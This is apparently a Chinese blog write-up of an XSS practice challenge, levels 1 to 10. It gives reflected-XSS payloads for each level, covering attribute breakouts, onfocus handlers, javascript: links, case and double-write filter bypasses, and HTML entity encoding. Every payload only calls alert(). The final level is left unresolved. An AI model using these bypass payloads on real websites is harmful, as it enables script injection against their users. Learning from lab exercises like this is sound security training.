我的XSS挑战之旅

在这里插入图片描述

Level-1

在这里插入图片描述

发现参数name的内容是一个注入点,并且没有任何过滤

Payload: ?name=test<script>alert('xss')</script>

在这里插入图片描述

Level-2

在这里插入图片描述

和第一关差不多,输入

 <script>alert('xxs')</script>

没有出现弹窗
在这里插入图片描述
查看一下源代码
在这里插入图片描述
直接用双引号闭合value,输入

 "><script>alert('xxs')</script>

在这里插入图片描述

Level-3

在这里插入图片描述
查看源码,value为单引号闭合
在这里插入图片描述
输入

<script>alert('xxs')</script>

查看源代码,输入点在value属性里面
在这里插入图片描述
发现<>被转义了成了&gt和&lt

在搜素框中输入

xss'  οnfοcus=javascript:alert("xss") '

我们用javascript里边的onfocus事件,并且使用'把前面的value给闭合掉。
在这里插入图片描述
在这里插入图片描述
HTML转义常用字符

字符十进制转义字符
"&#34;&quot;
&&#38;&amp;
<&#60;&It;
>&#62;&gt
不断开空格(non-breaking space)&#160;&nbsp;

Level-4

在这里插入图片描述
在搜索框中输入

<script>alert('xxs')</script>

查看源码,输入点在value属性里面
在这里插入图片描述

发现过滤了<>,用双引号"把value闭合。

继续在搜素框中输入

xss"  οnfοcus=javascript:alert("xss") "

在这里插入图片描述

方法二:
输入

 "οnfοcus=alert(1)

在这里插入图片描述
闭合了前面的双引号,但是后面多了一个双引号,用//注释掉,输入

"οnfοcus=alert(1)//

在这里插入图片描述

Level-5

在这里插入图片描述

在搜索框中输入

<script>alert('xxs')</script>

查看源码
在这里插入图片描述
发现script被转义为scr_ipt,使用超链接绕过,在搜素框中输入

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述
然后点击test

在这里插入图片描述

Level-6

在这里插入图片描述

在搜索框中输入

<script>alert('xxs')</script>

查看源码,和第5关一样,script被转义为scr_ipt

在这里插入图片描述
使用超链接绕过,发现不行

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述
查看源码,href被转义成了hr_ef
在这里插入图片描述
百度了一下,还能使用大小写进行绕过,将href写成HREF

"><a HREF="javascript:alert('xss')">test</a>

在这里插入图片描述
再点击test
在这里插入图片描述

Level-7

在这里插入图片描述

在搜索框中输入,查看源码,发现script被过滤

<script>alert('xxs')</script>

在这里插入图片描述
使用超链接绕过,不行

"><a href="javascript:alert('xss')">test</a>

在这里插入图片描述

大小写进行绕过,将href写成HREF,还是不行

"><a HREF="javascript:alert('xss')">test</a>

再使用双写进行绕过,双写href和javascript

"><a hrhrefef="javasscriptcript:alert('xss')">test</a>

在这里插入图片描述

成功

在这里插入图片描述

Level-8

在这里插入图片描述

在输入框中输入

javascript:alert('xss')

发现javascript被加上了下划线,变成了javascr_ipt
在这里插入图片描述

用Html实体编码绕过

HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&、#、;不能被过滤。

将javascript的script进行实体编码,unicode编码后的结果为java&#115;&#99;&#114;&#105;&#112;&#116;

输入

 java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')

点击友情链接
在这里插入图片描述

成功
在这里插入图片描述

Level-9

在这里插入图片描述

还是script被过滤,直接用上一关的payload

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')

提示连接不合法,要有http://关键字
在这里插入图片描述
添加的url有验证合法性,没有带http://则不合法,
方法一:
http://放在alert里面

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://www.baidu.com')

方法二:
http://放在注释//后面

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xss')//http://www.baidu.com

点击友情链接,成功
在这里插入图片描述

Level-10

到了第10关页面页面,没有输入框了
在这里插入图片描述
构造payload

Payload:?keyword=javascript:alert('xss')

查看源码发现了几个input标签
在这里插入图片描述

不知道怎么办了,看了下大师傅们的wp,构造payload

Payload: ?keyword=&t_link=" type="text" 1&t_history=" type="text" 2&t_sort =" type="text" 3

payload后,还是没有变化
在这里插入图片描述

这是大师傅们payload后的代码

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value=""text"" type="hidden">

t_sort是注入点,直接注入

Payload: ?keyword = test&t_sort="type="text" onclick = "alert("xss")

在这里插入图片描述
一脸茫然,还是不知道怎么回事

posted @ 2020-08-08 16:29  atkx  阅读(151)  评论(0编辑  收藏  举报